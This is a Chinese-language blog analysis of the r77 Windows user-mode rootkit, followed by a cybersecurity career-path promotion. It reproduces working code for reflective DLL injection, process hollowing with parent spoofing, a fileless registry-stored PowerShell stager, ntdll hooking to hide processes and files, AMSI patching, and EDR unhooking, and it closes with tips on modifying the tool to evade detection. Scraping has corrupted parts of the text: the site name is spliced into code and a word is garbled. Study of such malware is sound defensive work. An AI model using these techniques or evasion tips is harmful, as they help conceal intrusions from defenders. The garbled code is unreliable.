r77-Rootkit后渗透技战术分析

r77-Rootkit后渗透技战术分析0X00 软件介绍 r77 Rootkit 是一个 Ring3 级别的 Rootkit Rootkit 是一种特殊的恶意软件 它的功能是在安装目标上隐藏自身及指定的文件 进程和网络链接等信息 比较多见到的是 Rootkit 一般都和木马 后门等其他恶意程序结合使用 Rootkit 并不一定是用作获得系统 root 访问权限的工具 比起攻击

大家好,我是讯享网,很高兴认识大家。

0X00 软件介绍

r77-Rootkit是一个Ring3级别的Rootkit。Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit并不一定是用作获得系统root访问权限的工具。比起攻击,Rootkit更倾向于被使用于隐藏踪迹和保留root访问权限的工具。至于Ring3则是CPU的四个特权级别之一,Windows只使用其中的两个级别Ring0和Ring3,Ring0上运行操作系统(内核)代码,Ring3上运行应用程序代码,不能执行受控操作。如果普通应用程序企图执行Ring0指令,则Windows会显示“非法指令”错误信息。

简而言之,r77Rootkit就是能够在用户态隐藏自己的各种行为的一款远控工具。它对所有进程隐藏文件、目录、连接、命名管道、计划任务处理CPU使用情况注册表项和值服务TCP和UDP连接。接下来笔者将会对r77-rookit采用的加载、命令控制、隐藏、免杀和持久化的实现方法进行分析,为RAT的防范和攻防演练工具的开发获取一些实用技战术。

注:为了展示方便,笔者对截取的源代码进行了部分删改。

0X01 加载

从当前系统中获取PEB、从内存中获取内存模块顺序列表、哈希、基址、导出表名称,以及函数的相关信息。下例为获取内存模块顺序列表:

mov eax, 3 shl eax, 4 mov eax, [fs:eax] ; fs:0x30 mov eax, [eax + PEB.Ldr] mov eax, [eax + PEB_LDR_DATA.InMemoryOrderModuleList.Flink] mov [FirstEntry], eax mov [CurrentEntry], eax 

讯享网

这一步是为了加载shellcode做准备、写入内存。

而第二项准备工作则是,从资源中获取stager.exe,并将其写入注册表。

这类载荷在metasploit和cobalt
strike中同样存在。在msf的执行结构中,payload模位于modules/payloads/{singles,stages,stagers}。其中singles是单独文件,而stagers模块会下载其他payload组件,被称为stages。各种payload
stages提供更为高级的功能,如Meterpreter等等。Stagers可以按词典意思理解为“a malware which arranges
computer enviroment in order to enhance its appeal to prospective
victims“,旨在为了创建某种形式的通信创造环境。而在cobaltstrike中,stager位于resources\httpstager.bin,也就是远程加载Beacon.dll的shellcode,原理和实现基本和msf相通。

使用stager解决了三个问题。首先,它允许我们在一开始使用较小的payload来加载更多功能的较大的payload,让攻击手法更加隐蔽。其次,它使通信能够和最终阶段分离,因此无需复制代码,一个payload就可以在不同途径传输多次。最后,由于stager已经为程序分配了大量内存,因此stages不需要考虑大小问题,可以任意大。也是因此,stages能够以更高级别的语言编写最终阶段的payload,并且动态进行加载。

在r77中,则是需要先将stage.exe编译好,installshellcode.asm包含了runpe和前文提到的PEB加载地址,承担了真正stager的作用,基本流程和msf、cs相通,如下:

讯享网push API参数1 push API参数2 push .... push API哈希值 call ebp(api_call) ;搜索并调用函数 

但在具体的写入上,出于隐蔽性考虑,r77多了一道工序,即使用powershell命令从注册表加载stager,并使用Assembly.Load().EntryPoint.Invoke()在内存中执行。其中powershell命令是纯内联的,不需要ps1文件。

[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`HIDE_PREFIX stager`)).EntryPoint.Invoke($Null,$Null)); 

在读取结束后,stage.exe会使用进程howllowing创建本地进程。

0x02 命令与控制

通信方式

r77服务命令发送和接受主要通过命名管道进行,如上文所说,r77服务接收来自任何进程的命令,这样即使没有进行权限提升也可以请求r77执行某些命令。

\\.\pipe\$77control

在每一次命名管道的创建前,程序都会自动加上隐藏前缀$77.

r77定义了软件用于通信的控制码,具体命名和功能如下表所示:

变量命名 代码 功能
R77TerminateService 0x1001 终止r77服务
R77Uninstall 0x1002 卸载r77
R77PauseInjection 0x1003 暂时暂停新进程注入
R77ResumeInjection 0x1004 恢复新进程注入
ProcessesInject 0x2001 将r77注入特定进程(如果尚未注入)
ProcessesInjectAll 0x2002 将r77注入所有尚未注入的进程
ProcessesDetach 0x2003 从特定进程卸载r77
ProcessesDetachAll 0x2004 将r77与所有进程卸载
UserShellExec 0x3001 使用ShellExecute执行文件
UserRunPE 0x3002 使用进程hollowing执行可执行文件
SystemBsod 0x4001 触发蓝屏死机

image.png
讯享网

在接收到指令时,软件会先对Controlcode进行校验,而后调用相应的命令。如:

讯享网case ControlCode.UserShellExec: ShellExecPath = ShellExecPath?.Trim().ToNullIfEmpty(); ShellExecCommandLine = ShellExecCommandLine?.Trim().ToNullIfEmpty(); 

命令执行

在加载完成之后,程序连接到r77服务,并且写入控制代码和可执行文件的位置。

下面的代码就通过pipe,加载了notepad.exe mytextfile.txt的进程。

HANDLE pipe = CreateFileW(L"\\.\pipe\$77control", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (pipe != INVALID_HANDLE_VALUE) { DWORD controlCode = CONTROL_USER_SHELLEXEC; WCHAR shellExecPath[] = L"C:\Windows\System32\notepad.exe"; WCHAR shellExecCommandline[] = L"mytextfile.txt"; DWORD bytesWritten; WriteFile(pipe, &controlCode, sizeof(DWORD), &bytesWritten, NULL); WriteFile(pipe, shellExecPath, (lstrlenW(shellExecPath) + 1) * 2, &bytesWritten, NULL); WriteFile(pipe, shellExecCommandline, (lstrlenW(shellExecCommandline) + 1) * 2, &bytesWritten, NULL); CloseHandle(pipe); } 

shellcode执行

我们在加载部分提到了r77为了执行命令所做的环境准备,一旦配置完成并载入shellcode,执行命令流程如下

1.从resource或BYTE[]加载install.shellcode

2.将缓冲区标记为RWX

3.将缓冲区强制转换为函数指针并执行它

以下是一个附带了虚拟化保护免杀的shellcode执行例子:

讯享网int main() { LPBYTE shellCode = ... DWORD oldProtect; VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect); ((void(*)())shellCode)(); return 0; } 

反射式dll注入

这是r77实现Rootki的核心,一旦注入到进程中,对应进程就不会显示被隐藏相关信息。具体而言,r77采用的是反射DLL注入。文件被写入远程进程内存,并调用ReflectiveDllMain导出以最终加载DLL并调用DllMain。因此,DLL不会在PEB中列出。

r77中的反射注入思路:

  1. 将进程指针地址复制给进程句柄,打开进程(OpenProcess),创建线程(PROCESS_CREATE_THREAD),获取线程信息(PROCESS_QUERY_INFORMATION),读写内存(PROCESS_VM_OPERATION);

HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId); 
  1. 检查字节位数,检查进程是否在排除名单中,如smss、csrss、wininit等关键进程
  2. 检查进程完整性级别,只注入中级以上进程,因为沙箱在注入shellcode时往往会崩溃
  3. 根据需要注入的进程,从ReflectiveDllMain获取反射加载DLL的shellcode的指针地址

讯享网DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain"); 
  1. 通过NtCreateThreadEx创建线程,将allocatedMemory + entryPoint作为开始地址

NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread) 

1.获取自身位置,指向DLL文件开头的指针,如果此函数为真,则返回DllMain的值,否则返回假。

讯享网__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase); 

2.获取所需的API地址,此处通过PebGetProcAddress找到其他模块基址,再根据导出表找到函数地址,这里r77需要用的API有ntFlushInstructionCache、LoadLibraryA、getProcAddress、VirtualAlloc等,其中PebGetProcAddress在前文讲述的stager的实现中也起到非常重要的作用,具体实现类似于GetProcAddressWithHash,在shellcode的开发中被广泛使用

NT_NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (NT_NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8); NT_LOADLIBRARYA loadLibraryA = (NT_LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e); NT_GETPROCADDRESS getProcAddress = (NT_GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa); NT_VIRTUALALLOC virtualAlloc = (NT_VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54); 

3.virtualAlloc 分配内存,大小为扩展头中的 SizeOfImage

讯享网LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 

4.根据内存对齐

libc_memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders); PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++){ libc_memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData);} 

5.读取导入目录,调用LoadLibraryA导入依赖项并修补IAT。

讯享网if (importDirectory->Size){ for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++){ LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name)); if (module){ PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk); PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk); while (*importAddressTable){ if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG){ PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD))); }else{ importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable); *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name); } thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR)); importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR)); 

6.修复重定位

if (relocationDirectory->Size) { UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase); for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock)) { LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress; PNT_IMAGE_RELOC relocations = (PNT_IMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION)); for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(NT_IMAGE_RELOC); i++) { if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase; else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase; else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase); else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase); } } } 

7.调用dll入口点,地址在扩展头的AddressOfEntryPoint,它会完成C运行库的初始化,刷新指令缓存以避免对要执行的修改代码执行过时的指令,执行安全检查,调用dllmain

讯享网NT_DLLMAIN dllMain = (NT_DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint); ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0); return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL); 

在ReflectiveDllMain这个实现中有几点需要注意:

  • 必须通过搜索PEB找到反射加载器中使用的所有函数,程序才会继续运行。
  • memcpy等函数需要手写,因为尚未导入任何函数。
  • 不能使用Switch语句,因为即将创建一个新的跳转表,且shellcode不处于独立位置。

0x03 隐藏

配置

image.png

r77Rootkit通过注册表进行操作来进行总体的配置,它在HIDE_PRIFIX配置了$77,因此以之为开头的文件、进程、计划任务和命名管道都会被隐藏。有关隐藏项目的注册表项位于HKEY_LOCAL_MACHINE\SOFTWARE$77config中,此键值的DACL设置为授予任何用户完全访问权限,也是因此,可由任何没有提升权限的进程写入。

r77中的“隐藏”意味着从枚举中删除隐藏的实体。如果用户知道文件名或进程ID,仍然可以直接访问文件、打开进程。这是因为打开文件、进程等等的函数没有被hook,而且它们不会通过返回“未找到错误”来伪装隐藏。主要原因是,r77目前没有其他方法来维持它本身。粒入球如果隐藏的注册表键值完全不可访问,r77也无法从配置系统中读取它自己。

为了防止被读取,可以通过设置足够复杂的文件名来确保r77相关的名称不会被猜解。同样,也可以在编译阶段修改隐藏前缀,但r77不能在一次项目中变更多个不同的前缀。

hook

image.png

在r77中,detour被用于hook ntdll.dll中的几个函数。此DLL加载到操作系统上的每个进程中。它是所有系统调用的包装器,这使它成为Ring
3中可用的最低层。来自kernel32.dll或其他库和框架的任何WinAPI函数最终都将调用ntdll.dll函数。无法直接hook系统调用。这是Ring3
Rootkit的常见限制。

以下是被hook的函数:

  • NtQuerySystemInformation:此函数用于枚举正在运行的进程并检索CPU使用情况。
  • NtResumeThread:当新进程仍处于挂起状态时,此函数被挂起以注入创建的子进程。只有在注入完成后,才实际调用此函数。
  • NtQueryDirectoryFile:此函数枚举文件、目录、连接和命名管道。
  • NtQueryDirectoryGileEx:此函数与NtQueryDirectoryFile非常相似,并且也必须hook。实施方式大致相同。dir就使用此函数而不是NtQueryDirectoryFile。
  • NtEnumerateKey :此函数用于枚举注册表项。调用者指定键的索引以检索它。要隐藏注册表项,必须更正索引。因此,必须再次枚举该键才能找到正确的“新”索引。
  • NtEnumerationValueKey:此函数用于枚举注册表项。调用者指定键的索引以检索它。要隐藏注册表项,必须更正索引。因此,必须再次枚举该键才能找到正确的“新”索引。
  • EnumServiceGroupW:此函数用于枚举服务,主要被services.msc调用。
  • EnumServicesStatusExW:此函数类似于EnumServiceGroupW,主要被Windows 7下的任务管理器和ProcessHacker调用。
  • NtDeviceIoControlFile:此功能用于使用IOCTL访问驱动程序。

其中,除了EnumServiceGroupW、EnumServicesStatusExW来自更高级的DLL,advapi32.dll和sechost.dll之外,其他函数都来自ntdll.dll。一般来说,ntdll.dll确实是唯一要被hook的dll。

但服务的实际枚举发生在service.exe,这是个无法注入的受保护进程。而来自advapi32.dll的EnumServiceGroupW和EnumServicesStatusExW通过RPC访问service.exe以搜索服务列表。ntdll.dll的钩子不会产生任何影响,因为只有service.exe使用这两个ntdll函数。

以下是r77加载一次hook的简单流程。在hook开始之前,首先需要对detours进行初始化、需要更新进行detours的线程。

DetourTransactionBegin();//开始劫持 DetourUpdateThread(GetCurrentThread());//刷新当前的线程 InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); DetourTransactionCommit();//提交修改并HOOk 

而在InstallHook()函数中,则调用了DetourAttach()进行hook,这个函数的职责是挂接目标API,函数的第一个参数是一个指向将要被挂接函数地址的函数指针,第二个参数是指向实际运行的函数的指针,一般来说是我们定义的替代函数的地址。

讯享网LONG WINAPI DetourAttach(Inout PVOID *ppPointer,In PVOID pDetour); static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction) { *originalFunction = GetFunction(dll, function); if (*originalFunction) DetourAttach(originalFunction, hookedFunction); } 

例如下面这段函数HookedNtQuerySystemInformation()中的代码,就实现了将隐藏进程的CPU使用率添加到系统空闲进程:

for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) { if (current->ProcessId == 0) { current->KernelTime.QuadPart += hiddenKernelTime.QuadPart; current->UserTime.QuadPart += hiddenUserTime.QuadPart; current->CycleTime += hiddenCycleTime; break; } previous = current; if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); else current = NULL; } 

除此之外,r77还能够根据两种不同的软件架构隐藏CPU用量,并且可有针对性地对于processhacker等软件进行隐藏。

子进程hook

当一个进程创建一个子进程时,在它可以运行自己的任何指令之前注入这个新进程。函数NtResumeThread在创建新进程时被始终调用。因此,子进程是一个合适的hook目标。因为32位进程可以产生64位子进程,反之亦然,所以r77服务提供了一个命名管道来处理子进程注入请求。

此外,对于子进程hook中可能错过的新进程,每100ms进行一次定期检查。这是必要的,因为某些进程受到保护,无法注入,例如services.exe。

子进程hook流程:

  1. 创建进程时,其父进程在进程创建完成后调用NtResumeThread启动新进程。如果在此进程上调用NtResumeThread,则它不是子进程。若为子进程,调用32位或64位r77服务并传递进程ID。
  2. 此时,进程暂停,应注入。等待响应。在注入r77后调用NtResumeThread。
  3. 为了注入进程,将进程ID发送到r77服务。通过命名管道执行到r77服务的连接
  4. 因为32位进程可以创建64位子进程,反之亦然,所以这里不能执行注入。

讯享网static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount) { DWORD processId = GetProcessIdOfThread(thread); if (processId != GetCurrentProcessId()) { if (Is64BitProcess(processId, &is64Bit)) { HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (pipe != INVALID_HANDLE_VALUE) { DWORD bytesWritten; WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL); BYTE returnValue; DWORD bytesRead; ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL); CloseHandle(pipe); } } } return OriginalNtResumeThread(thread, suspendCount); } 

进程隐藏——进程hollowing结合父进程欺骗

进程hollowing是一种在单独活动进程的地址空间中执行任意代码的方法。在RAT中,攻击者可能会将恶意代码注入暂停和中空的进程中,以逃避基于进程的防御。而父进程欺骗技术,其实就是创建一个进程,指定其他进程为这个新创建进程的父进程。

在r77中,进程hollowing被作为stager的一部分实现,因此所有shellcode执行都是采用进程hollowing的方法。此外,当进程为某个进程的子进程时,r77还会对对父进程进行欺骗。

具体的实现流程:

  1. 通过检查进程是否存在inheritHandle标记来判断是否存在父进程

if (OpenProcess(0x80, false, parentProcessId) == IntPtr.Zero) throw new Exception(); 
  1. 存在父进程时,使用STARTUPINFOEX实现父进程欺骗

在r77中,作者为了绕过检测并没有使用CreateProcessA函数,而是首先判断系统是32位或64位,然后根据系统位数强制分配一块startupInfoLength大小的内存,直接向startupInfo写入attributeList。

讯享网IntPtr attributeList = Allocate((int)attributeListSize); int startupInfoLength = IntPtr.Size == 4 ? 0x48 : 0x70; IntPtr startupInfo = Allocate(startupInfoLength); Marshal.Copy(new byte[startupInfoLength], 0, startupInfo, startupInfoLength); Marshal.WriteInt32(startupInfo, startupInfoLength); Marshal.WriteIntPtr(startupInfo, startupInfoLength - IntPtr.Size, attributeList); 
  1. r77依然没有使用常见的CreateProcess()来进行进程挂起的创建,而是使用NtUnmapViewOfSection()函数强制卸载目标进程payload地址对应的模块(作者暂未完全实现该函数的重载),然后再在后续步骤中加载payload

IntPtr imageBase = IntPtr.Size == 4 ? (IntPtr)BitConverter.ToInt32(payload, ntHeaders + 0x18 + 0x1c) : (IntPtr)BitConverter.ToInt64(payload, ntHeaders + 0x18 + 0x18); IntPtr process = IntPtr.Size == 4 ? (IntPtr)BitConverter.ToInt32(processInfo, 0) : (IntPtr)BitConverter.ToInt64(processInfo, 0); NtUnmapViewOfSection(process, imageBase); 
  1. 使用NtGetThreadContext()函数获取进程上下文
  2. 清空目标进程,当目标进程的大小比恶意进程小的话跳过这步
  3. VirtualAllocEx()重新分配空间,大小为恶意进程大小
  4. NtWriteProcessMemory()向分配的空间写入恶意进程
  5. 恢复上下文,由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到NtSetThreadContext函数。
  6. 将挂起的进程用NtResumeThread函数释放运行。

最后,r77还会将以上步骤执行五次,来解决进程hollowing的稳定性问题。

关于具体的隐藏实现,总结表格如下:

实体 通过前缀隐藏 通过条件隐藏 对应注册表值 通过设置隐藏
文件
$77config\paths``eg:C:\path\to\file.txt 隐藏路径
目录
$77config\paths``eg:C:\path\to\file.txt 隐藏路径
管道名称
$77config\paths 隐藏路径
计划任务

进程| √|
| $77config\pid\$77config\process_names| 隐藏PID、进程名称
CPU使用量|
| 隐藏对应被隐藏的进程的CPU使用量|
|

注册键| √|
|
|

注册值| √|
|
|

服务| √|
| $77config\pid\svc32``$77config\pid\svc64|
隐藏服务名$77config\service_names服务启动项$77config\startup
TCP连接|
| 隐藏对应被隐藏的进程的TCP连接|
| 隐藏本地、远程TCP端口$77config\tcp_local$77config\tcp_remote
UDP连接|
| 隐藏对应被隐藏的进程的UDP连接|
| 隐藏UDP端口$77config\udp

0x04 免杀

r77使用了几种AV和EDR绕过技术:

  • AMSI绕过:PowerShell内联脚本通过pactching AMSI来禁用AMSI.Dll!AmsiScanBuffer,并且始终返回AMSI_RESULT_CLEAN。
  • DLL unhook:由于EDR的解决方案是通过hook ntdll.dll 来监控API调用,这些hook需要通过加载ntdll.dll的新副本来删除并还原原始节。否则,将检测到进程hollowing。
  • hooksechost.dll而不是api ms-*.dll

AMSI内存劫持

Antimalware Scan Interface(AMSI)译为反恶意软件扫描接口,它是一种防御机制,用于检查 PowerShell、UAC
等是否有恶意数据传入。它主要针对在 PowerShell 或其他 AMSI 集成环境中执行的命令和脚本。当用户启动 PowerShell(或
PowerShell_ISE)进程或脚本时,库会自动加载到该进程中。该库提供了与防病毒软件交互所需的 API。如果检测到任何恶意内容,AMSI
将停止执行并将其发送至 Windows Defender 进一步分析。

r77中有大量使用powershell进行交互的操作,为了绕过AMSI,r77使用了内存劫持技术。

逻辑是通过 Hook 函数 AmsiScanBuffer() ,让它始终返回句柄AMSI_RESULT_CLEAN,达到欺骗 AMSI
没有发现恶意软件的效果。在install.c和Powershell启动脚本中都包含执行这个程序的代码。同理,在r77的Powershell代码中不能包含任何带有C#代码的Add-
Type
cmdlet。它将调用csc.exe,这将释放一个C#dll放到磁盘上。作为替代,需要使用类似于libc的返回方法,通过使用反射来查找某些.NET函数。对amsi.dll!AmsiScanBuffer的劫持会在[Reflection.Assembly]::Load之前。

64位下,用shellcode覆盖AmsiScanBuffer函数以返回AMSI_RESULT_CLEAN如下所示:

讯享网StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);"); 

其中,0xb8,0x57,0,7,0x80,0xc3代表的是下列代码:

b8 57 00 07 80 mov eax, 0x c3 ret 

而每次安装r77时,Powershell变量名称都会动态混淆,字符串则以多种方式进行混淆处理。

unhook

许多EDRhook了ntdll.dll和kernel32.dll,这些钩子监视API调用,特别是代码注入、进程hollowing等所需的调用。

为了防止杀软检测,需要服务加载的第一时间解开EDR监控的DLL。

讯享网UnhookDll(L"ntdll.dll"); if (IsWindows10OrGreater2() || BITNESS(64)) { UnhookDll(L"kernel32.dll"); } 

删除EDR的钩子是通过加载ntdll.dll的新副本来实现的,并用原始未挂起的文件内容替换ntdll模块的当前加载的.txt部分。EDR钩子通常是几个可疑ntdll函数开头的jmp指令。这些钩子很容易删除,因为它们只存在于用户模式中。EDR通常不实现内核模式挂钩。

具体过程分为三步:

  1. 检索DLL文件的干净副本
  2. 将干净的DLL映射到内存中
  3. 找到被hook的DLL的.text部分,并用原始DLL部分覆盖它

if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))){ HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (dllFile != INVALID_HANDLE_VALUE){ HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); if (dllMapping) { LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); if (dllMappedFile) { PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text")) { LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); DWORD virtualSize = sectionHeader->Misc.VirtualSize; DWORD oldProtect; VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); libc_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); break; } } } CloseHandle(dllMapping); } 

0x05 持久化

Rootkit驻留在系统内存中,不会将任何文件写入磁盘。计划任务确实需要存储$77svc32.job和$77svc64.job,一旦Rootkit运行,计划的任务也会被前缀隐藏。

r77的驻留分为三个阶段:

阶段1:安装程序为 32位和64位r77service 创建两个计划任务。计划任务启动powershell.exe,命令行如下:

讯享网[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null) 

image.png

image.png

阶段2:stager将使用进程hollowing创建r77服务进程。r77服务是一个本地可执行文件,分别以32位和64位编译。父进程被欺骗并设置为winlogon.exe以获得额外的模糊性。此外,这两个进程按ID隐藏,在任务管理器中不可见。

由于计划任务在SYSTEM帐户下启动PowerShell,所以r77服务也在SYSTEM帐户上运行。因此,它可以用系统IL注入进程,但受保护的进程除外,如services.exe。

image.png

阶段3:两个r77服务进程现在都在运行。它们会执行以下操作:

  1. 进程ID存储在配置系统中以隐藏进程。因为这些进程是使用进程hollowing创建的,所以它们不能带有$77前缀。
  2. 注入所有正在运行的进程。
  3. 创建命名管道以处理新创建的子进程的注入。
  4. 除了子进程挂钩,子例程每100ms检查一次新创建的进程。这是因为某些进程不能被注入,但仍然创建子进程,service.dll尤其如此,这是一个受保护的进程。
  5. 创建控制管道,它处理由其他进程接收的命令。
  6. 执行$77config\startup下的文件。

0x06 总结

根据上文内容,我们结合att&ck mitre表进行了技战术的整理,如下表所示:

image.png

r77-Rootkit及其改版在APT组织被广泛应用于各类工具和病毒中,当然,在目前捕获的脱胎于r77的恶意样本中,有许多种已经扩展出了更有利于其进行挖矿或勒索等目的的功能,如添加账户、横向扩散等等,例如笔者此前分析过的coinminer家族的r77-Oracle挖矿病毒。

r77能获得如此广泛的应用,当然是因为其有一定的优越性,例如:

  • 对常见的恶意代码技术有很多创新之处,例如将进程hollowing和父进程欺骗结合使用
  • 对一些API进行了罕见应用,有较好的绕过效果,如NtUnmapViewOfSection()等
  • 功能全面,对免杀考虑周详

当然,如果应用在攻防演练等实战中,该工具还是有一定被识别的风险。如果要进行魔改,可以从以下方面入手:

  1. 现在的混淆存在一定被激活成功教程的风险,powershell的命令可采用ec加密等方式进一步免杀
  2. namepipe的方式略微单一,可以增加更加多样、更加隐蔽的通信方式
  3. 可以使用VirtualProtect进行shellcode免杀
  4. unhook考虑的多为系统原生和国外杀软,在国内应用时需要考虑到国产杀软的原理来进行二次开发

网络安全学习路线(就业版)

再次声明,此学习路线主打就业方向,如果只是感兴趣,想成为什么黑客的朋友可以划走了!

网络安全≠黑客

很多人上来就说想做想入行网络安全,但是连方向都没搞清楚就开始学习,最终也只是会无疾而终!黑客是一个大的概念,里面包含了许多方向,不同的方向需要学习的内容也不一样。

网络安全再进一步细分,还可以划分为:网络渗透、逆向分析、漏洞攻击、内核安全、移动安全、激活成功教程PWN等众多子方向。今天的这篇,主要是针对网络渗透方向,其他方向仅供参考,学习路线并不完全一样,有机会的话我再单独梳理。

今天,就为大家整理一份自己自学网络安全企业级的最主流的职业规划路线学习流程:

学前感言

  • 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了.
  • 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发.
  • 3.有时多google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答.
  • 4.遇到实在搞不懂的,可以先放放,以后再来解决

第一步:明确的学习路线

你肯定需要一份完整的知识架构体系图。

如图片过大被平台压缩导致模糊,可以在扫码下载高清无水印版

img

第二步:阶段性的学习目标&规划

img

